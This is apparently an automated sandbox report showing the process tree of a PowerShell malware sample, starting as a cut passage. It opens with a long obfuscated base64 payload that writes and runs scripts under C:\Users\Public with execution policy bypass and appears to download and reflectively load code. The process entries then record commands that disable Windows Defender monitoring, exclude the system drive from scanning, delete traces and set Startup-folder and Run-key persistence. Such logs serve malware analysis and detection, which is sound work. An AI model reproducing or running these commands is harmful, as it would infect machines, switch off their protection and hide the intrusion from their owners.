'MSwxMDMsMTQ2LDE2NSwxNz' + 'A' + 'sMj' + 'A' + '4LDEyMSwyMzMsMTY2LDY' + '0' + 'LDIxMiw4MCw5NywyMz' + 'A' + 'sMTQwLDQ2LDE2MCwxMj' + 'A' + 'sMTcwLDEyOCwxNzMsMjEzLDEzLDIzOCwyMzgsNjcsMTkwLDExNCwxMTcsMjIyLDE2Niw3NiwyMzksMT' + 'A' + '5LDE1MywxNz' + 'A' + 'sMTg3LDI1MCw4LDI1NCwxOTYsMTIwLDIxNiwxMDYsODgsMj' + 'A' + 'wLDE2Miw5NSwyNDgsMT' + 'A' + 'xLDE1MywxODIsMjQyLDIyNywxOSwyNDYsMjUxLDY3LDIyNiwxMT' + 'A' + 'sMTExLDIzMSwxND' + 'A' + 'sMTE' + '0' + 'LDE2NiwxMDksMTQ2LDEzNSwxNzcsMjQ4LDE1LDIyMywyMj' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxNjUsMTcwLDIyNiw' + '0' + 'OSwyNDksMTYzLDExNSwyMzEsMTE4LDExMiwyMz' + 'A' + 'sMTM2LDk1LDE3NSwxMjYsMTMzLDE2NSwxNjYsMjU' + '0' + 'LDYwLDE5NSwyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxODIsMTc5LDIzMiwzMSwyNT' + 'A' + 'sMjMxLDY4LDIxOCwxMDYsNjYsMjMwLDE4MSwxMTMsMTYwLDk3LDE3MiwxMzYsMTg' + '0' + 'LDIxMywzLDI1MCwyNTUsNjcsMj' + 'A' + 'yLDEyNiw3OCwyMz' + 'A' + 'sMjEwLDc2LDI1MCwxMT' + 'A' + 'sMjQyLDE4MSwxNzQsMjUxLDEzLDIzNywyMjQsMTEyLDIyNSw4OCwxMTEsMjExLDE2Nyw3NSwyMjksMTI2LDEzNSwxNDQsMTUxLDIyNiwyOCwxNTMsMTY3LDExNiwxOTYsMTEwLDc4LDIyMCwxODEsMTEzLDE2MCw4NSwxNzIsMTc4LDI' + '0' + 'MiwyNT' + 'A' + 'sMTUsMjMzLDIzMSwxMDksMj' + 'A' + '3LDEyNSw2NCwyMjUsMTY1LDc5LDIyNSwxMjMsMTMwLDE2NiwxNjMsMjEwLDM4LDI1MCwyNT' + 'A' + 'sMTIxLDIyMywxMT' + 'A' + 'sMTIzLDIwMiwxODEsMTE4LDIwOSwxMDIsMTcwLDE5MCwxOD' + 'A' + 'sMjUwLDI' + '0' + 'LDIzOCwxNzUsMT' + 'A' + '' + '0' + 'LDIwMSw1LDYsMjI' + '0' + 'LDE2Miw' + '0' + 'NywyMTcsODMsMTUwLDE1NiwxNzgsMjQ4LDE1LDIyMywyMj' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNDEsMTI2LDEzMCwxNjYsMTYzLDIyOCwzNywyNT' + 'A' + 'sMjI2LDY5LDIwMyw4MCw2NywyMjIsMTc4LDQzLDIyMCw4NSwxNzUsMTgyLDE3MywyMT' + 'A' + 'sMzgsMTQ5LDIyNCwxMTYsMTkwLDEwNiw3OCwyMjQsMTQwLDExNCwyNTIsMT' + 'A' + '5LDE1MywxNjksMTgwLDIyOSwyOCwyMzQsMjM4LDY2LDE5MCw4NCw5NSwyMz' + 'A' + 'sMTY3LDQ2LDE2MCwxMj' + 'A' + 'sMTczLDEyOCwxODQsMj' + 'A' + '4LDE5LDI1NCwyNTEsMTEyLDIyNiw4MCw3LDIyMiwxNzgsMTIxLDI1Myw5OCwxMzMsMTY2LDEzMCwyMzUsMTIyLDIwMCwyMDYsMTE5LDIyMyw3NSw4MCwyMDEsMTY5LDEyMSwxNjMsMTIyLDEzMCwxNDMsMTM4LDI' + '0' + 'OCw4LDIzNywyND' + 'A' + 'sMT' + 'A' + '' + '0' + 'LDIwNywxMjUsOD' + 'A' + 'sMj' + 'A' + '1LDE2Miw5NSwyNTMsODYsMjQzLDE2MSwyND' + 'A' + 'sMj' + 'A' + '4LDE5LDE5MiwxOTMsNjcsMjI1LDEyLDEsMj' + 'A' + 'zLDE' + '0' + 'MSw2OCwyMz' + 'A' + 'sODQsMTc1LDE4MiwyND' + 'A' + 'sMjMyLDI4LDIxMiwxOTgsNjYsMjI1LDUsNywyMjIsMTgyLDgwLDE2NiwxMjQsMTMwLDE4MiwxNDQsMjUyLDE' + '0' + 'LDIzMCwyNDksMTE5LDE4OSw4NCw5NywyMD' + 'A' + 'sMTYyLDkyLDI' + '0' + 'NCw5NywxNDgsMTM2LDE4MCwyMTMsMTMsMjM4LDE2Nyw2NiwyMjQsMTIsMSwyMDMsMTQwLDQzLDI1MCw4MywxODQsMTMxLDE4NSwyNT' + 'A' + 'sMjQsMjE5LDI' + '0' + 'MCwxMDcsMj' + 'A' + 'xLDc5LDYsMj' + 'A' + 'zLDE2NCw2OCwyMTMsMT' + 'A' + 'xLDE3MiwyMDgsMTc4LDI' + '0' + 'OCwxMywyMTYsMjM4LDEyMywyMTksMT' + 'A' + 'yLDgzLDIwNiwxNjQsMT' + 'A' + '5LDE2NywxMj' + 'A' + 'sMTMyLDE5MCwxMz' + 'A' + 'sMjI3LDM4LDE1MiwyMzEsMT' + 'A' + '' + '0' + 'LDE5Niw3NSw4MCwyMDgsMjEwLDcyLDE2NiwxMjMsMTQ4LDIwOSwyND' + 'A' + 'sMjExLDEyLDIxOSwyND' + 'A' + 'sMTEwLDI1MSw4Myw4MCwyMDUsMTYyLDk1LDI' + '0' + 'MSw4MSwxNDYsMTY2LDE3MSwyMzIsMTksMjU' + '0' + 'LDI1Myw2NCwyMDcsMTI2LD' + 'A' + 'sMjI2LDE3NiwxMT' + 'A' + 'sMTc1LDExNiwxNjYsMTQ4LDEzMCwyMTIsMTksMjM4LDI1NSw2NiwxOTEsMTEzLDY3LDIxMywxOD' + 'A' + 'sNDcsMTk' + '0' + 'LDEwMCwxNDYsMTY1LDI' + '0' + 'NiwyNDgsMT' + 'A' + 'sMTQ1LDE3MCk7DQokV1hmbTZwID' + '0' + 'gQCgxMzQsNjksOSw1LDM1LDIxMCwxNjQsMjM5LDIzNywxOTksNTQsMjIxLDEzMSwxMSw5MiwzNikgOw' + '0' + 'KW3ZvaWRdKFtNYXRoXTo6UG' + ' + 9 + ' + '3KDk3LC' + 'A' + '' + '0' + 'KSkgOw' + '0' + 'KJFBvQ3hMTy' + 'A' + '' + ' + 9 + ' + 'IE' + 'A' + 'oNTUsMTQsMTY1LDE' + '0' + 'NiwyLDk' + '0' + 'LDE1MiwyMTYsMT' + 'A' + '1LDM4LDQwLDc1LDE4MCwyMDIsMTg' + '0' + 'LDIyOSkgOw' + '0' + 'KOw' + '0' + 'KZnVuY3Rpb24gSW5pdENvbnRleHQ3MygkZCwgJGEsICRiKSB7DQogIC' + 'A' + 'gJG' + ' + 9 + ' + 'TRUpDID' + '0' + 'gJycgOw' + '0' + 'KIC' + 'A' + 'gIGZvci' + 'A' + 'oJGkgPS' + 'A' + 'wOy' + 'A' + 'kaS' + 'A' + 'tbHQgJGQuTGVuZ3RoOy' + 'A' + 'kaSsrKSB7DQogIC' + 'A' + 'gIC' + 'A' + 'gIFt2b2lkXSgkaS' + 'A' + 'qIDE3ICsgMTg4KTsNCi' + 'A' + 'gIC' + 'A' + 'gIC' + 'A' + 'gJG' + ' + 9 + ' + 'TRUpDICs' + ' + 9 + ' + 'IFtjaGFyXSgoJGRbJGldIC1ieG' + ' + 9 + ' + 'yICRiWyRpICUgJGIuTGVuZ3RoXSkgLWJ4b3IgJGFbJGkgJS' + 'A' + 'kYS5M' + 'ZW' + '5ndGhdKTsNCi' + 'A' + 'gICB' + ' + 9 + ' + 'DQogIC' + 'A' + 'gcmV' + '0' + 'dXJuICRvU' + '0' + 'VKQzsNCn' + '0' + 'NCg' + '0' + 'KJHdlaEZKID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZygkKEluaXRDb25' + '0' + 'ZXh' + '0' + 'NzMgJGQ4R2ggJFBvQ3hMTy' + 'A' + 'kV1hmbTZwKSkpOw' + '0' + 'KW1NjcmlwdEJsb2NrXTo6Q3JlYXRlKCR3' + 'ZW' + 'hGSikuSW52b2tlKCk7IC' + 'A' + 'gIC' + 'A' + 'NCg' + '0' + 'KOw' + '0' + 'KfSBjYXRjaHsNCn' + '0' + 'NCg' + '0' + 'KW1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIC1ib3IgW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMy' + 'A' + '7DQoNCjskc215eEs7DQo7RnVuY3Rpb24gQnBYUnV7Ow' + '0' + 'KO1tieXRlW11dJERWS1lQID' + '0' + 'gW3N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZyggJHNteXhLICk7DQo7JEdGbEhTID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoICREVktZUC' + 'A' + 'pOw' + '0' + 'KO3JldHVybi' + 'A' + 'kR' + '0' + 'ZsSFM7DQp' + ' + 9 + ' + 'Ow' + '0' + 'KDQokemRtTFEgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd4emx2Zy5' + '0' + 'eHQnKS' + 'A' + '7JHhubmJTID' + '0' + 'gJ2FIUjBjSE' + '0' + '2THknICsgKCc4d' + '0' + '1uUmxjM1JsTCRfJF8kXyRfJF8kX' + '0' + '5qTD' + 'A' + 'xaGMkXyRfJF8kXyRfJF' + ' + 9 + ' + 'kaGMkXyRfJF8kXyRfJF' + ' + 9 + ' + 'sdVlTOVVNRE11ZCcgLXJlcGxhY2UgLC' + 'A' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + 'A' + 'rICdIaD' + 'A' + 'nIDskc215eEsgPS' + 'A' + 'keG5uYlM7ICR4bm5iUy' + 'A' + '' + ' + 9 + ' + 'IEJwWFJ1IDskeG5uYlMgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJHpkbUxRIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + 'A' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + 'A' + 'naGt' + '0' + 'aGwudHh' + '0' + 'JykgOyRjeGZkcy' + 'A' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRjeGZkcy5FbmNvZGluZy' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRjeGZkcy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRjeGZkcy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRjeGZkcy5Qcm' + ' + 9 + ' + '4eS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskY3hmZHMuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskV1lCVkUgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kemRtTFEgKS' + 'A' + '7JGtzbEJmID' + '0' + 'gJGN4ZmRzLkRvd25sb2FkRGF' + '0' + 'YSggJFdZQlZFLlRyaW' + '0' + 'oKS' + 'A' + 'pIDskamxicWogPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygka3NsQmYpIDskamxicWogPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgkamxicWosJ1wleCUrJykpWzFdKS5UcmltKCkgOyRqbGJxaiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + 'A' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + 'A' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JG1xaGtIID' + '0' + 'gJ1JlZmxlJy' + 'A' + 'rICdjdGlvbic7JEFXRGNVID' + '0' + 'gJG51bGw7OyRwamZseC' + 'A' + 'rPS' + 'A' + 'nOyRjYXJhY3RlcmVzID' + '0' + 'gQCg' + '0' + 'OCw1MCwxMTYsMT' + 'A' + 'xLDExNSwxMTYsMT' + 'A' + 'xLDQ2LDk5LDk5LDQ3KTskckJtQ3UgPSBbY2hhcltdXSRjYXJhY3RlcmVzIC1qb2luICcnJyc7IDsnIDskcGpmbHggKz' + '0' + 'gJyR6Q' + '0' + 'FRdC' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICRyQm1DdS' + 'A' + 'rICcnTWFyZ2FyaW5hJycgKy' + 'A' + 'nJ1BlWWVzJycpIDsnIDskcGpmbHggKz' + '0' + 'gJyRPSUxiVi' + 'A' + '' + ' + 9 + ' + 'ICcnJWJhc2U2NCVaV2RwWlVKNVpHVmxVeTluY2' + '0' + '4dWRHVnVMV' + '0' + '11WlhSellY55qEdkx6cHpjSFIwYeeahD' + '0' + '' + ' + 9 + ' + 'JycgOyRPSUxiVi' + 'A' + '' + ' + 9 + ' + 'ICgkT' + '0' + 'lMYlYgLXJlcGxhY2UgJyfnmoQnJy' + 'A' + 'sICcnQScnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + 'A' + 'rICcnbGljXCcnICsgJydoa3RobC5' + '0' + 'eHQnJykgOyRybWxkZi' + 'A' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nJHJtbGRmIC1yZXBsYWNlICcnICcnLC' + 'A' + 'nJycnIDsnIDskcGpmbHggKz' + '0' + 'gJ1tieXRlW11dJGZycnh5ID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskcGpmbHggKz' + '0' + 'gJyRmcnJ4eS' + 'A' + '' + ' + 9 + ' + 'ICgkcm1sZGYgIC1zcGxpdC' + 'A' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JHBqZmx4ICs' + ' + 9 + ' + 'ICckcmNqTG4gPSBbU3lzdGVtLicgKy' + 'A' + 'kbXFoa' + '0' + 'ggKy' + 'A' + 'nLicgKy' + 'A' + 'kSEl3WVogKy' + 'A' + 'nXTo6Jy' + 'A' + 'rICRTRGR3dy' + 'A' + 'rICcoICRmcnJ4eS' + 'A' + 'pOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nJHNlQWhKID' + '0' + 'gJHJjakxuLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + 'A' + 'pOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nOy' + 'A' + 'kV' + '0' + 'pad' + '0' + 'IgPS' + 'A' + 'nJ' + '0' + 'QgRERDOlxXaW5kb3dzXE1pY3Jvc2' + ' + 9 + ' + 'mdC5ORVRcRnJhbWUnICsgJ3dvcms2NFx2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycgOycgOyRwamZseC' + 'A' + 'rPS' + 'A' + 'nJENTWXRVID' + '0' + 'gJHNlQWhKLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + 'A' + 'rICRzWUtVUi' + 'A' + 'rICcoICRBV' + '0' + 'RjVS' + 'A' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + 'A' + 'kT' + '0' + 'lMYlYgLC' + 'A' + 'nJyV2VmxHeiUnJy' + 'A' + 'sICRXSlp3QiwgJyckZmFsc2UnJywgJHpDQVF' + '0' + 'ICkgKTsnIDskdWpvblggPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdiYnRxbF8wMS5wczEnICkgOyRwamZseCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kdWpvblggLWZvcmNlIDs7cG' + ' + 9 + ' + '3ZXJzaGVsbC' + 'A' + 'tRXhlY3V' + '0' + 'aW' + ' + 9 + ' + 'uUG' + ' + 9 + ' + 'saWN5IGJ5cGFzcy' + 'A' + 'tRmlsZS' + 'A' + 'kdWpvblggOw==' ;;$sPaFf ;;$WsBve = ($zXkuP + $sPaFf) ;;$substituir = $WsBve ;$substituir = $substituir.replace('''',$dlysw) ;$substituir = $substituir.replace('+ ',$dlysw) ;$substituir = $substituir.replace(' ',$dlysw) ;Function minhaFuncao{;$QzdYl = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $substituir ));return $QzdYl;};$cYAtA = minhaFuncao; $cYAtA = ($cYAtA -replace '%vVlGz%','C:\Users\Public\pwxsbçš„è¿™äº”js') ;$minhapastadois = 'C:\Users\Public\hqwnc.p' + 's1' ; $cYAtA | Out-File -Fi $minhapastadois -for ; powershell -executionpolicy bypass -f $minhapastadois ;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -f C:\Users\Public\hqwnc.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5096
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /release
        5⤵
        Gathers network information
        
        PID:3384
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /renew
        5⤵
        Gathers network information
        
        PID:4288
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" winsock reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5916
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" int ip reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5972
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jv5xkgpd\jv5xkgpd.cmdline"
        5⤵
        
        PID:4936
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\bbtql_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3636
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607529.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4712
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2232
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2016
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5060
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi790b.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5236
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2352
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi7936.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5844
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:468
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui790b.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2096
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4540
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui7936.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4408
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3660
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\bbtql_01.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5836
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5716
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\hkthl.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4980
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5948
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\hqwnc.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2196
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3132
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\pwxsb.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5304
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1548
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\xzlvg.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1960
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:928
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2972
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\pwxsbçš„è¿™äº”js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pwxsbçš„è¿™äº”js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5152
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2060
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\pwxsbçš„è¿™äº”js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1956
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\pwxsbçš„è¿™äº”js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1544
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\pwxsbçš„è¿™äº”js"
        6⤵
        
        PID:2224
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\urzwo_01.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3008
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\qwulg_02.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:5436
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
